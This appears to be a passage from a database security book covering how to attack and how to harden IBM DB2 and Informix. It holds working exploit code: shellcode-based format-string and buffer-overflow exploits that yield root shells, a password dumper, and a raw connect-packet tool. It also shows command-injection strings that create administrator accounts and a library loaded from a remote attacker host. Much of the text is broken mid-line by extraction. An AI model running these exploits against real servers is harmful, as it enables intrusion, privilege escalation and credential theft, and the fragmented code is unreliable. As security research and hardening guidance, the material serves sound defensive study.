0x804a429
%ecx
0x804a42a
%edx
0x804a42b
%eax
0x804a42c
$0x80000000
0x804a431
0x804a437
%eax
0x804a438
0x8049170
<_Z18sqlex_aud_rec_funccmmsP16SQLEX_AUD_DATA_TPmP5sqlca>
0x804a43d
$0x1c,%esp
As you can see from the disassembly, the _Z18sqlex_aud_rec_
funccmmsP16SQLEX_AUD_DATA_TPmP5sqlca() function is called immediately after the printf() call
...
objdump -R /home/db2inst3/sqllib/adm/db2stop | grep
_Z18sqlex_aud_rec_funccmmsP16SQLEX_AUD_DATA_TPmP5sqlca
08055dcc R_386_JUMP_SLOT
_Z18sqlex_aud_rec_funccmmsP16SQLEX_AUD_DATA_TPmP5sqlca
As you can see from the output of objdump, the location of this pointer is at
0x08055DCC
...
#include
qxd
146
6/3/05
6:53 PM
Page 146
Chapter 8
unsigned short GetAddress(char *address, int lvl);
unsigned char shellcode[]=”\x31\xC0\x31\xDB\xb0\x17\x90\xCD\x80\x6A\x0B\
x58\x99\x52\x68\x6E\x2F\x73\x68\x68\x2F\x2F\x62\x69\x54\x5B\x52\x53\x54\
x59\xCD\x80\xCC\xCC\xCC\xCC”;
int main(int argc, char *argv[], char *envp[])
{
char *cmd[4];
char cmdbuf[260]=””;
char argone[4000]=””;
char argtwo[4000]=””;
char address[200]=””;
int count = 0;
unsigned short high = 0, low = 0;
if(argc != 3)
{
printf(“\n\tProof of concept for the db2stop format
string bug
...
g
...
\n”);
printf(“\tThis exploit simply spawns a shell as the user
running it
...
\n”);
printf(“\n\n\tDavid Litchfield\n\t25th August
2004\n\t(davidl@ngssoftware
...
1 box
high = GetAddress(address,0);
low = GetAddress(address,4);
15_578014 ch08
...
Overwrite the entry in the Global
Offset Table for
// _Z18sqlex_aud_rec_funccmmsP16SQLEX_AUD_DATA_TPmP5sqlca()
sprintf(argone,”QQ\xCE\x5D\x05\x08\xCC\x5D\x05\
x08ZZZDDDDEEE%%%
...
5dx%%21$hn”,high,low);
// create a nop sled
while(count < 22)
{
strcat(argtwo,”\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90”);
count ++;
}
// append the shellcode
strcat(argtwo,shellcode);
// set
cmd[0]
cmd[1]
cmd[2]
cmd[3]
params for execve
= (char *) &cmdbuf;
= (char *)&argone;
= (char *)&argtwo;
= (char *)NULL;
// execute db2stop
execve(cmd[0],cmd,envp);
return 0;
}
unsigned short GetAddress(char *address, int lvl)
{
char A = 0, B = 0, C = 0, D = 0;
unsigned short result = 0;
int len = 0;
len = strlen(address);
if(len !=8)
return 0;
if(lvl)
if(lvl !=4)
return 0;
A = (char)toupper((int)address[0+lvl]);
147
15_578014 ch08
...
qxd
6/3/05
6:53 PM
Page 149
Attacking DB2
result = (A * 0x10 + B) << 8;
result = result + (C * 0x10 + D);
return result;
}
There are, however, setuid binaries that are vulnerable to buffer overflows,
that don’t drop privileges, and can be exploited by attackers to gain control of
the server
...
Ninety percent of the DB2 binaries load this shared object and are therefore
vectors for exploiting this overflow
...
Before presenting
some code, let’s discuss how this vulnerability creeps in
...
The /opt/
IBM/db2/V8
...
so
...
bss (uninitialized data) section
...
This, in and of itself, doesn’t present too much of a problem at this stage
...
1/lib/libdb2
...
1) is called, and it is called by all binaries
that load this library, the DB2LPORT value is copied to a stack-based buffer,
which is overflowed
...
The proof of concept code here demonstrates this:
#include
so
overflow\n\n\t”);
printf(“Gets a rootshell via
db2cacpy\n\n\tUsage:\n\n\t”);
printf(“$ DB2INSTANCE=db2inst1; export
DB2INSTANCE\n\t”);
149
15_578014 ch08
...
05b# id\n\tuid=0(root) gid=100(users)
groups=100(users)\n\n\t”);
printf(“\n\n\taddress is the address of the
db2MLNPort_name symbol in\n\t”);
printf(“the
...
so
...
2\tDB2 8
...
1 Fixpak 6\t40E124A8\n\t”);
printf(“\tRedhat 9\tDB2 8
...
1/lib/libdb2
...
bss\t000000ff\
tdb2MLNPort_name\n\n\t”);
printf(“This address is then added to the base address
of libdb2
...
\n\n\t”);
printf(“David Litchfield\n\t27th August 2004\n\
t(davidl@ngssoftware
...
data section
// of libdb2
...
1 Fixpak
6 system
...
// 0x40e06680 on SuSE 8
...
1 no fixpaks
// 0x40e075a8 on Redhat 8
...
qxd
6/3/05
6:53 PM
Page 151
Attacking DB2
//buffer[count++]=0x40;
/*buffer[count++]=0xa8;
buffer[count++]=0x24;
buffer[count++]=0xe1;
buffer[count++]=0x40;*/
buffer[count++]=GetAddress(argv[1],6);
buffer[count++]=GetAddress(argv[1],4);
buffer[count++]=GetAddress(argv[1],2);
buffer[count++]=GetAddress(argv[1],0);
}
else
buffer[count++]=0xCC;
}
printf(“%s”,buffer);
return 0;
}
unsigned char GetAddress(char *address, int lvl)
{
char A = 0, B = 0;
int len = 0;
len = strlen(address);
if(len !=8)
return 0;
if(lvl)
if(lvl ==2 || lvl ==4 || lvl ==6 )
goto cont;
else
return 0;
cont:
A = (char)toupper((int)address[0+lvl]);
B = (char)toupper((int)address[1+lvl]);
if(A < 0x30)
return 0;
if(A < 0x40)
A = A - 0x30;
else
{
if(A > 0x46 || A < 41)
return 0;
else
A = A - 0x37;
}
if(B < 0x30)
return 0;
if(B < 0x40)
B = B - 0x30;
else
151
15_578014 ch08
...
For example, the db2fmp binary is vulnerable to an overflow with an overly long command-line parameter
...
When DB2 is installed the user installing
it is offered the chance to save a response file
...
If the user chooses to use a response file, then the
password of the db2 user is logged
...
Needless to say, this file should be deleted to help secure the DB2 installation
...
The next chapter looks at how to secure DB2
...
qxd
6/3/05
6:42 PM
Page 153
CHAPTER
9
Securing
DB2
Of the leading commercial databases, IBM’s DB2 is by far the easiest to secure
and the reason for this is quite simple; DB2 has a considerably smaller attack
surface than the other database servers
...
As new vulnerabilities in DB2 come to light and patches are
made available it’s imperative to keep on top of them
...
With security there’s no in between — the system is either secure
or it’s not
...
Securing the Operating System
When securing any database server the first thing to do is harden the operating system
...
These guidelines should be followed
...
A good password policy should be
used: a mix of alphanumeric characters with a minimum length of eight characters
...
Remember, when attempting to authenticate against
153
16_578014 ch09
...
Once an account has
been found, if account lockout is not enabled, an attacker can continue to
attack that account trying to guess its password
...
Once DB2 has been installed, set permissions on the database server’s files so
that normal users can’t access them
...
I’ve removed the setuid bit on my test
DB2 system and it appears to run fine
...
Removing
the setuid bit could lead to problems under certain conditions
...
On *nix servers, consider removing the setuid bit on any DB2 executable
that has it set
...
This discovery packet can be sent to the broadcast address and all DB2 servers
will respond
...
To change the discovery mode of the DB2 server use the Control Center
...
In the Keyword column, find the Discover entry under Communications
...
Once you’re done stop and restart the
instance
...
The authentication type on a fresh install of DB2 is set to SERVER
...
As such, anyone who can put a sniffer on the network will be able to gather accounts and passwords
...
To change the authentication type, use
the Control Center
...
The top keyword should be “Authentication
...
If
Kerberos is available, select this instead
...
Remember to configure the clients to use encryption as well!
Securing the DBMS
Although this next step might sound a bit draconian, it’s a good step to take
for fresh installs: revoke PUBLIC access from everything
...
qxd
6/3/05
6:42 PM
Page 155
Securing DB2
clean canvas to work with
...
This essentially means that only those permissions that
are required to do a job should be given
...
Please note that it’s not possible to revoke
PUBLIC access from absolutely everything
...
This is a real shame and hopefully will one day change because it
tends to be things like routines that suffer from vulnerabilities such as buffer
overflows
...
I’ve tested
this on my system and it all seems to work okay, but again, before doing this
on your production systems you should fully test it on your development systems
...
Select the database in question and navigate to User and Group Objects
...
In the right-hand pane, double-click PUBLIC
...
This lists authorities assigned to PUBLIC
...
You get the idea
...
Once done, click OK and then
stop and restart the instance
...
For the ultra-paranoid,
consider disabling the DAS, too
...
Finally, install the latest fixpak
...
Make a habit of checking the IBM web site every so often to see if a new fixpak
has become available
...
qxd
6/3/05
6:42 PM
Page 156
17_578014 pt04
...
qxd
6/3/05
6:48 PM
Page 158
18_578014 ch10
...
All that has been reported in
the past are a few local privilege upgrade issues on *nix platforms due to
buffer overflows in setuid programs and insecure temporary file creation;
nothing remote
...
As it turns out the latter is closer to the truth;
Informix is no better or worse than any other commercial RDBMS and suffers
from a large number of security flaws
...
Of all the well-known database servers Informix has one of the
most simple architectures — on a par with SQL Server but not as simple as
MySQL
...
A server instance is
usually given the name OL_HOSTNAME, where HOSTNAME is the name of
159
18_578014 ch10
...
The main Informix process that hosts the server instance, oninit, listens on TCP port 1526 by default for client connections
...
Over the network Informix uses a proprietary protocol called Turbo
...
Connecting to a Remote Informix Server
The dbaccess tool, which has to be, in my opinion, one of the most fiddly query
tools ever conceived, is supplied with Informix
...
To be able to connect to a remote
server using this tool you need to tell it about the remote server
...
On Linux there’s
a file called sqlhosts in the $INFORMIXDIR/etc directory
...
Once added you can then use dbaccess to connect to the remote server
...
Also
note that if you don’t have it but you do have a valid user ID and password,
you can discover the name by sniffing the traffic: just present an incorrect
server instance name and in the reply the server will include the real one
...
If you’re on Windows, dbaccess uses the registry
...
Below this key
add another key — OL_SRVINST — where OL_SRVINST is the name of the
remote server instance
...
In HOST, place the hostname or IP address
...
The Informix Logical Layout
Each server instance can host multiple databases
...
The sysmaster database contains a table called sysdatabases
...
qxd
6/3/05
6:55 PM
Page 161
The Informix Architecture
all the other databases on the instance
...
The metatables are
systables
syscolumns
sysindices
systabauth
syscolauth
sysviews
sysusers
sysdepend
syssynonyms
syssyntable
sysconstraints
sysreferences
syschecks
sysdefaults
syscoldepend
sysprocedures
sysprocbody
sysprocplan
sysprocauth
sysblobs
sysopclstr
systriggers
systrigbody
sysdistrib
161
18_578014 ch10
...
One of the major shortcomings of the Informix database is that it is not possible to revoke the public select permission from these
AUTH tables
...
systabauth from public
results in an error: “511: Cannot modify system catalog (systabauth)
...
Just as
18_578014 ch10
...
This table
lists the users that have been given explicit access for a given database
...
Understanding Authentication and Authorization
Like the other IBM database, DB2, Informix uses the operating system authentication for authentication purposes
...
This
table stores the usernames of those people that have been given access to the
database
...
Everyone enjoys the privileges that are given to public
...
To connect to the database server you need a minimum of Connect privileges
...
(Although this is true on
Linux, this is not fully the case on Windows
...
)
A secure server should not give public the connect privilege, but note that, by
default, public is granted Connect
...
A “C” indicates Connect, an
“R” indicates Resource and, you guessed it, a “D” indicates DBA
...
Connect
Users with the Connect privilege can run SELECT, INSERT, UPDATE, and
DELETE queries as long as they have the appropriate table-level privileges
...
They can create views provided they have the relevant privileges on the
underlying table
...
Resource
Users with the Resource privilege can do everything that Connect can do; they
can also create new database objects such as tables, procedures, and so on
...
Well, maybe not quite
that powerful
...
163
18_578014 ch10
...
If a user has been granted privileges on a table, the details of the grant will be listed in the systabauth table
...
If the letters are in uppercase, then the user has the WITH GRANT option that indicates he can grant
the privilege to others
...
There is only one routine-level privilege — EXECUTE
...
Privileges and Creating Procedures
One area that deserves special attention is privileges where creating procedures is concerned
...
For example, you can write a procedure in C only if you’ve been
given usage on the C language
...
The langid column from the following table relates to the
langid column from the sysroutinelangs table
...
The langpath column holds the
path to a Dynamic Link Library or shared object that the language uses, which
is loaded to facilitate it
...
This table can be updated, for example replacing
the library for java:
update sysroutinelangs set langpath=’foo
...
qxd
6/3/05
6:41 PM
Page 165
CHAPTER
11
Informix: Discovery,
Attack, and Defense
Attacking and Defending Informix
Informix, by default, listens on TCP port 1526
...
The question is, can you work out whether you’re dealing with Oracle or
Informix without sending any data? Well, by looking at what other ports are
open you can hazard a good guess
...
This has a number of processes running and listening on various ports:
Process
TCP Port
nsrmmdbd
7940
nsrmmd
7941
nsrexecd
7937
nsrexecd
7938
nsrd
7939
Windows servers also have portmap
...
Chances are, if these ports are open, then you’re looking at an Informix
server
...
qxd
166
6/3/05
6:41 PM
Page 166
Chapter 11
ports
...
When clients first connect to the server they send an authentication packet
...
168
...
34
Dest IP: 192
...
0
...
22
...
CP1252 DB_LO)
(CALE=en_US
...
qxd
6/3/05
6:41 PM
Page 167
Informix: Discovery, Attack, and Defense
The first thing that stands out is the fact that the password for user jefe is in
clear text — f98bbr!
...
(Password and data encryption is available for Informix as a “Communication Support Module,” or CSM
...
)
You can also see two chunks of base64 encoded text
...
The remaining 4 bytes are consistent
...
Although this text is processed it isn’t actually used to authenticate the user
...
The code here can be used to connect
to an arbitrary server with a username, password, database, and database path
of your choosing:
#include
h>
#include
qxd
168
6/3/05
6:41 PM
Page 168
Chapter 11
unsigned char *Base64Buffer = NULL;
unsigned char username[4260]=””;
unsigned char password[4260]=””;
unsigned char database[4260]=””;
unsigned char dbaspath[4260]=””;
unsigned char crud[]=
“\x3a\x41\x47\x30\x41\x41\x41\x41\x39\x62\x32\x77\x41\x41\x41\x41”
“\x41\x41\x41\x41\x41\x41\x41\x41\x39\x63\x32\x39\x6a\x64\x47\x4e”
“\x77\x41\x41\x41\x41\x41\x41\x41\x42\x41\x41\x41\x42\x4d\x51\x41”
“\x41\x41\x41\x41\x41\x41\x41\x41\x41\x63\x33\x46\x73\x5a\x58\x68”
“\x6c\x59\x77\x41\x41\x41\x41\x41\x41\x41\x41\x56\x7a\x63\x57\x78”
“\x70\x41\x41\x41\x43\x41\x41\x41\x41\x41\x77\x41\x4b\x62\x32\x78”
“\x66\x61\x47\x56\x6a\x64\x47\x39\x79\x41\x41\x42\x72\x41\x41\x41”
“\x41\x41\x41\x41\x41\x44\x6d\x67\x41\x41\x41\x41\x41\x41\x41\x64”
“\x54\x53\x56\x4a\x4a\x56\x56\x4d\x41\x41\x41\x64\x54\x53\x56\x4a”
“\x4a\x56\x56\x4d\x41\x41\x43\x42\x44\x4f\x6c\x78\x45\x62\x32\x4e”
“\x31\x62\x57\x56\x75\x64\x48\x4d\x67\x59\x57\x35\x6b\x49\x46\x4e”
“\x6c\x64\x48\x52\x70\x62\x6d\x64\x7a\x58\x45\x52\x42\x56\x6b\x6c”
“\x45\x41\x41\x42\x30\x41\x41\x67\x41\x41\x41\x54\x53\x41\x41\x41”
“\x41\x41\x41\x42\x5f\x00”;
unsigned char header[12]=”\x01\x7A\x01\x3D\x00\x00”;
char *ConnectPacket = NULL;
int CreateConnectPacket()
{
unsigned short x = 0;
len = 0;
len = PHEADER + HSIZE + SQLEXEC;
len = len + PASS_START + VERSION + RDS;
len = len + DB_START + IEEE_START + IEEE;
len = len + DP_START + DBM_START + DBMONEY;
len = len + CL_START + CL + CPC_START;
len = len + CPC + DBL_START + DBL;
len = len + strlen(username) + 1;
len = len + strlen(password) + 1;
len = len + strlen(database) + 1;
len = len + strlen(dbaspath) + 1;
len = len + sizeof(crud);
len ++;
ConnectPacket = (char *)malloc(len);
if(!ConnectPacket)
return 0;
memset(ConnectPacket,0,len);
strcpy(ConnectPacket,”\x73\x71”);
// HEADER
strcat(ConnectPacket,”\x41\x59\x49\x42\x50\x51\x41\x41”);
// Size
strcat(ConnectPacket,”\x73\x71\x6c\x65\x78\x65\x63\x20”);
// sqlexec
strcat(ConnectPacket,username);
// username
strcat(ConnectPacket,”\x20”);
// space
strcat(ConnectPacket,”\x2d\x70”);
// password_start
strcat(ConnectPacket,password);
// password *
strcat(ConnectPacket,”\x20”);
// space
strcat(ConnectPacket,”\x39\x2e\x32\x32\x2e\x54\x43\x33\x20\x20\x20”); //
version
19_578014 ch11
...
\n”);
printf(“C:\\>%s host port username password database
dbpath\n”,argv[0]);
169
19_578014 ch11
...
\n”);
printf(“\n%s\n\n\n”,ConnectPacket);
ErrorLevel = StartWinsock();
if(ErrorLevel==0)
return printf(“Error starting Winsock
...
wVersion ) != 2 || HIBYTE( wsaData
...
sin_addr
...
sin_family=AF_INET;
memcpy(&s_sa
...
sin_addr
...
sin_family=AF_INET;
memcpy(&s_sa
...
qxd
6/3/05
6:41 PM
Page 171
Informix: Discovery, Attack, and Defense
{
WSACleanup();
return 0;
}
return 1;
}
int MakeRequest1()
{
char resp[600]=””;
int snd=0,rcv=0,count=0, var=0;
unsigned int ttlbytes=0;
unsigned int to=10000;
struct sockaddr_in cli_addr;
SOCKET cli_sock;
char *ptr = NULL;
char t[20]=””;
char status[4]=””;
cli_sock=socket(AF_INET,SOCK_STREAM,0);
if (cli_sock==INVALID_SOCKET)
return printf(“socket error
...
sin_port=htons((unsigned short)1526);
if (connect(cli_sock,(LPSOCKADDR)&s_sa,sizeof(s_sa))==SOCKET_ERROR)
{
closesocket(cli_sock);
printf(“Connect error
...
\n”);
goto endfunc;
}
printf(“Recv: %d bytes [%x]\n”,rcv,resp[0]);
count = 0;
while(count < rcv)
{
if(resp[count]==0x00 || resp[count] < 0x20 || resp[count] > 0x7F)
resp[count]=0x20;
count ++;
}
printf(“%s\n\n\n”,resp);
endfunc:
ZeroMemory(resp,600);
closesocket(cli_sock);
171
19_578014 ch11
...
\n”);
return 0;
}
res = length % 3;
if(res)
{
res = length - res;
res = length / 3;
res ++;
}
else
res = length / 3;
l = res;
res = res * 4;
if(res < length)
{
printf(“size error”);
return 0;
}
Base64Buffer = (unsigned char *) malloc(res+1);
if(!Base64Buffer)
{
printf(“malloc error”);
return 0;
}
memset(Base64Buffer,0,res+1);
ptr = (unsigned char *) malloc(length+16);
if(!ptr)
{
free(Base64Buffer);
Base64Buffer = 0;
printf(“malloc error
...
qxd
6/3/05
6:41 PM
Page 173
Informix: Discovery, Attack, and Defense
}
memset(ptr,0,length+16);
x = ptr;
strcpy(ptr,str);
while(count < l)
{
A = ptr[0] >> 2;
B = ptr[0] << 6;
B = B >> 2;
T = ptr[1] >> 4;
B = B + T;
C = ptr[1] << 4;
C = C >> 2;
T = ptr[2] >> 6;
C = C + T;
D = ptr[2] << 2;
D = D >> 2;
tmp[0] = A;
tmp[1] = B;
tmp[2] = C;
tmp[3] = D;
while(cnt < 4)
{
if(tmp[cnt] < 26)
tmp[cnt] = tmp[cnt] + 0x41;
else if(tmp[cnt] < 52)
tmp[cnt] = tmp[cnt] + 0x47;
else if(tmp[cnt] < 62)
tmp[cnt] = tmp[cnt] - 4;
else if(tmp[cnt] == 62)
tmp[cnt] = 0x2B;
else if(tmp[cnt] == 63)
tmp[cnt] = 0x2F;
else
{
free(x);
free(Base64Buffer);
Base64Buffer = NULL;
return 0;
}
cnt ++;
}
cnt = 0;
ptr = ptr + 3;
count ++;
strcat(Base64Buffer,tmp);
}
free(x);
return 1;
}
173
19_578014 ch11
...
What’s more, it can be exploited easily
...
All versions of Informix on all operating systems are vulnerable
...
168
...
99
Dest IP: 192
...
0
...
40
...
The first “T” in 9
...
TC5TL denotes that the server
19_578014 ch11
...
A “U” implies Unix
...
40
release 5
...
These little bits of
information are helpful when forming attack strategies
...
Here’s
the response for a failed authentication attempt for user dumbo:
IP Header
Length and version: 0x45
Type of service: 0x00
Total length: 230
Identifier: 58961
Flags: 0x4000
TTL: 128
Protocol: 6 (TCP)
Checksum: 0x91a6
Source IP: 192
...
0
...
168
...
102
TCP Header
Source port: 1526
Dest port: 3955
Sequence: 3995092107
ack: 1231545498
Header length: 0x50
Flags: 0x18 (ACK PSH )
Window Size: 32720
Checksum: 0x65bc
Urgent Pointer: 0
Raw Data
00 be 03 3d 10 00 00 64 00
49 45 45 45 49 00 00 6c 73
00 00 00 00 00 05 56 31 2e
00 00 08 61 73 66 65 63 68
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 3d
00 00 00 00 01 00 66 00 00
00 00 00 00 01 00 00 00 05
00 00 00 00 00 00 07 60 00
63 74 6f 72 00 00 07 48 45
46 3a 5c 49 6e 66 6f 72 6d
00 74 00 08 00 f6 00 06 00
65
72
30
6f
00
73
00
64
00
43
69
f6
00
76
00
00
00
6f
00
75
00
54
78
00
00
69
00
00
00
63
00
6d
00
4f
5c
00
00
6e
04
00
00
74
00
62
00
52
62
00
3d
66
53
00
6f
63
fc
6f
07
00
69
7f
00
78
45
00
6c
70
49
00
68
00
6e
06
00
52
00
00
00
00
6b
65
10
00
(
=
d e
= )
(IEEEI lsrvinfx )
(
V1
...
From this you can deduce you’re looking at
an Informix server on Windows — a Unix system would have /opt/informix/
bin or similar
...
An attacker can retrieve
useful information about the server setup without needing to authenticate
...
qxd
176
6/3/05
6:41 PM
Page 176
Chapter 11
Post-Authentication Attacks
Once authenticated to the server, the client can start sending requests
...
When executing a standard SQL query, for example, the second byte of the request packet is 0x02
...
The following table lists code to function mappings
...
0x01
0x02
0x03
0x04
0x05
0x06
0x07
0x08
0x09
0x0a
0x0b
0x0C
0x10
0x11
0x13
0x14
0x15
0x16
0x17
0x18
0X1A
0x23
0x24
0x25
0x26
0x29
0x2a
0x2b
0x2c
0x2f
0x30
0x31
0x32
0x33
0x34
0x35
0x36
0x38
0x3a
0x3b
_sq_cmnd
_sq_prepare
_sq_curname
_sq_id
_sq_bind
_sq_open
_sq_execute
_sq_describe
_sq_nfetch
_sq_close
_sq_release
_sq_eot
_sq_exselect
_sq_putinsert
_sq_commit
_sq_rollback
_sq_svpoint
_sq_ndescribe
_sq_sfetch
_sq_scroll
_sq_dblist
_sq_beginwork
_sq_dbopen
_sq_dbclose
_sq_fetchblob
_sq_bbind
_sq_dprepare
_sq_hold
_sq_dcatalog
_sq_isolevel
_sq_lockwait
_sq_wantdone
_sq_remview
_sq_remperms
_sq_sbbind
_sq_version
_sq_defer
004999C0
_sq_remproc
_sq_exproc
19_578014 ch11
...
For example,
_sq_scroll and _sqbbind will cause the server to crash if no parameters are
passed; the server dies with a NULL pointer exception causing a denial of service
...
Others are vulnerable to classic stack-based buffer overflow vulnerabilities —
namely _sq_dcatalog, _sq_distfetch, _sq_remperms, _sq_rempperms, _sq_
remproc, and _sq_remview
...
qxd
178
6/3/05
6:41 PM
Page 178
Chapter 11
buffers and then call a function _getname
...
If more data is supplied than the
buffer can hold, it overflows
...
(Note these
vulnerabilities have been reported to IBM and by the time this book is published the patches should be available from the IBM web site
...
Shared Memory, Usernames, and Passwords
I just mentioned a couple of denial of service attacks but interestingly these
are more than just that
...
These dumps are world
readable and are written to the tmp directory with a filename similar to
shmem
...
0, where AAAAAAAA is a hex number
...
Gaining access to these dumps will
reveal the usernames with their passwords
...
(You can stop Informix dumping shared memory to disk in the event of a
crash by setting DUMPSHMEM to 0 in the onconfig configuration file
...
We’ll discuss gaining access to the filesystem of the server later on
...
The
Everyone group on Windows has read access to the shared memory section —
on Linux it’s better protected and can’t be attached to with shmat() by a lowprivileged account
...
This code will extract logged on usernames and passwords from Informix
on Windows:
#include
h>
#include
qxd
6/3/05
6:41 PM
Page 179
Informix: Discovery, Attack, and Defense
printf(“\te
...
\n\n\tC:\\>%s T1381386242\n\n”,argv[0]);
printf(“\tThis utility uses MapViewOfFile to read a shared
memory section\n”);
printf(“\tin the Informix server process and dumps the passwords
of all\n”);
printf(“\tconnected users
...
com)\n”);
printf(“\t11th January 2004\n\n”);
return 0;
}
h = OpenFileMapping(FILE_MAP_READ, FALSE, argv[1]);
if(!h)
return printf(“Couldn’t open section %s\n”,argv[1]);
ptr = (unsigned char *)MapViewOfFile( h, FILE_MAP_READ, 0, 0, 0 );
printf(“The following users are connected:\n\n”);
__try
{
while( 1 )
{
if(*ptr == ‘ ‘)
{
ptr ++;
if(*ptr == ‘-’)
{
ptr ++;
if(*ptr == ‘p’)
{
ptr ++;
dumppassword(ptr);
}
}
}
ptr++;
}
}
__except( EXCEPTION_EXECUTE_HANDLER )
{
}
return 0;
}
//
int dumppassword(unsigned char *fptr)
{
unsigned char count = 0;
unsigned char *ptr = NULL;
ptr = fptr - 4;
while(count < 255)
{
if(*ptr == 0x00)
return printf(“Error\n”);
179
19_578014 ch11
...
Procedures can be extended
with C libraries or Java, and to help with the security aspects of this Informix
supports the idea of giving users the “usage” permission on languages:
grant usage on language c to david
This will store a row in the syslangauth table authorizing account david the
use of the C language
...
In other words, those with only “connect” permissions can’t create routines
...
qxd
6/3/05
6:41 PM
Page 181
Informix: Discovery, Attack, and Defense
Running Arbitrary Commands with SPL
One of the more worrying aspects about SPL is the built-in SYSTEM function
...
txt’;
SYSTEM CMD;
END PROCEDURE;
Giving users the ability to run operating system commands is frightening —
especially because it’s bits of functionality like this that attackers will exploit to
gain full control of the server
...
At least those with only “connect” permissions can’t use this
call to system
...
A couple of default stored procedures call system
...
Public has the execute permission for this:
create procedure informix
...
Should be onpload exit
status
{If $INFORMIXDIR/bin/onpload not found try /usr/informix/bin/onpload}
{ or NT style}
on exception in (-668) set rtnsql, rtnisam
if rtnisam = -2 then
{ If onpload
...
qxd
182
6/3/05
6:41 PM
Page 182
Chapter 11
As you can see, the user-supplied “args” is concatenated to ‘cmd
/c %INFORMIXDIR%\bin\onpload ‘ on Windows and ‘/usr/informix/bin/
onpload’ on Unix systems
...
On Windows they’d issue
execute procedure informix
...
txt’)
and on Unix they’d issue
execute procedure informix
...
txt’)
What’s happening here is that shell metacharacters are not being stripped
and so when passed to the shell they’re interpreted
...
exe to run the second command and the ; on Unix tells /bin/sh to run the
second command
...
dbexp and informix
...
Note that any injected additional command will run
with the permissions of the logged-on user and not that of the Informix user
...
I’ll use Windows as the example but the same technique can be used for Unix servers, too
...
When the DLL
is loaded the attacker’s code executes
...
h>
#include
txt”);
return TRUE;
}
C:\>cl /LD dll
...
When
DLLs are loaded into a process the DllMain function is (usually) executed
...
qxd
6/3/05
6:41 PM
Page 183
Informix: Discovery, Attack, and Defense
INSERT INTO dlltable (name,dll) VALUES (‘mydll’, FILETOCLOB(‘c:\dll
...
...
Public can execute this function by default
...
Next, he
writes it out to the disk:
SELECT name,LOTOFILE(dll,’C:\g
...
More on
this later
...
Public can execute this function by default
...
dll
...
Now, the attacker needs to change the attributes of the DLL
...
The attacker achieves this with
the following:
execute procedure informix
...
dll
...
Note that when the system function is called cmd
...
Finally, to gain the privileges of the Informix user, which is a local administrator on Windows, the
attacker executes
execute procedure informix
...
dll’,’C:\
g
...
0000000041dc4e74’,’c’,’’)
The ifx_replace_module is used to replace shared objects that are loaded via
SPL calls
...
By placing nefarious code in the DllMain function, the
attacker can run code as the Informix user and thus gain control of the database server
...
If you create a shared object and
export an _init function, when it is loaded by oninit the function is executed
...
c
// gcc -fPIC -c mylib
...
so mylib
...
h>
void _init(void)
183
19_578014 ch11
...
txt”);
return;
}
If this is compiled and placed in the /tmp directory and is loaded with
execute procedure
informix
...
so’,’c’,’’)
the results of the whoami command show it to be the Informix user
...
Being able to write out files on the server and run operating system
commands is clearly dangerous; but being able to force Informix to load arbitrary libraries is even more so
...
On Windows and Linux the SET DEBUG FILE SQL
command causes the Informix server process to call the system() function
...
By setting the debug filename to foo&command, an attacker can run arbitrary commands — for example:
SET DEBUG FILE TO ‘foo&dir > c:\sqlout
...
Because the Informix
user is a local administrator, an attacker could execute
SET DEBUG FILE TO ‘foo&net user hack password!! /add’
SET DEBUG FILE TO ‘foo&net localgroup administrators hack /add’
SET DEBUG FILE TO ‘foo&net localgroup Informix-Admin hack /add’
and create himself a highly privileged account
...
The command run is
/bin/sh –c umask 0; echo > ‘/user-supplied-filename’
Note the presence of single quotes
...
By running
SET DEBUG FILE TO “/tmp/a’;/bin/ls>/tmp/zzzz;echo ‘hello”
Informix ends up executing
/bin/sh -c umask 0;echo > ‘/tmp/a’;/bin/ls>/tmp/zzzz;echo ‘hello’
19_578014 ch11
...
The command will run with the privileges of the logged-on
user instead
...
Loading Arbitrary Libraries
Informix supports a number of functions that allow routine libraries to be
replaced on the fly
...
You’ve already seen this in action using the ifx_replace_module function
...
These can be abused by low-privileged users to force Informix to load
arbitrary libraries and execute code as the Informix user
...
execute function informix
...
com\bin\ifxdll
...
com over SMB and
connect to the bin share
...
Therefore, attacker
...
Once connected, the Informix server
downloads ifxdll
...
It’s important to ensure that public has had the execute permission removed
from these routines; they have been given it by default
...
These can be
used to read and write files on the server
...
Some of them we’ve already discussed, but other overflows
known to be vulnerable in Informix 9
...
qxd
186
6/3/05
6:41 PM
Page 186
Chapter 11
SET DEBUG FILE
ifx_file_to_file
By exploiting these overflows an attacker can execute code as the Informix
user
...
When Informix is installed
on Unix-based platforms a number of binaries have the setuid and setgid bits
set
...
In the past Informix has suffered
from a number of local security problems with setuid root programs
...
Indeed 9
...
UC5TL still suffers from some issues
...
This is because they all share a common bit of code,
where if SQLIDEBUG is set to
1:/path_to_debug_file
19_578014 ch11
...
A long pathname will overflow a stack-based buffer,
allowing an attacker to run arbitrary code
...
The following code demonstrates
this:
#include
05b# id\n\tuid=0(root) gid=500(litch)
groups=500(litch)\n\n\t”);
printf(“\n\n\taddress is the likely address of the stack
...
FEFFF448\n\n\t”);
printf(“David Litchfield\n\t27th August
2004\n\t(davidl@ngssoftware
...
qxd
188
6/3/05
6:41 PM
Page 188
Chapter 11
int len = 0;
len = strlen(address);
if(len !=8)
return 0;
if(lvl)
if(lvl ==2 || lvl ==4 || lvl ==6 )
goto cont;
else
return 0;
cont:
A = (char)toupper((int)address[0+lvl]);
B = (char)toupper((int)address[1+lvl]);
if(A < 0x30)
return 0;
if(A < 0x40)
A = A - 0x30;
else
{
if(A > 0x46 || A < 41)
return 0;
else
A = A - 0x37;
}
if(B < 0x30)
return 0;
if(B < 0x40)
B = B - 0x30;
else
{
if(B > 0x46 || B < 41)
return 0;
else
B = B - 0x37;
}
A = (A * 0x10 + B);
return A;
}
Summary
You have seen that in some circumstances gaining control of Informix without
a user ID and password is trivial; the attacker needs only to exploit the overly
long username buffer overflow
...
That said, with a few patches and configuration changes,
Informix can be made considerably more secure and able to withstand attack
...
20_578014 ch12
...
Some of the problems discussed
earlier will require a security patch to completely remove the holes but, for
some of them, it’s possible to reduce the risk of exposure with configuration
changes and permission changes
...
Encrypt Network Traffic
Traffic between the server and the clients should be encrypted
...
Use one of the Communication Support Modules to achieve this
...
189
20_578014 ch12
...
This means that anyone
with a valid operating system user ID and password can connect to the database server
...
Enable Auditing
Auditing should be enabled for key events such as failed logon attempts
...
Revoke Public Permissions on File Access Routines
By default, public can execute the file access functions such as lotofile, filetoclob, and ifx_file_to_file
...
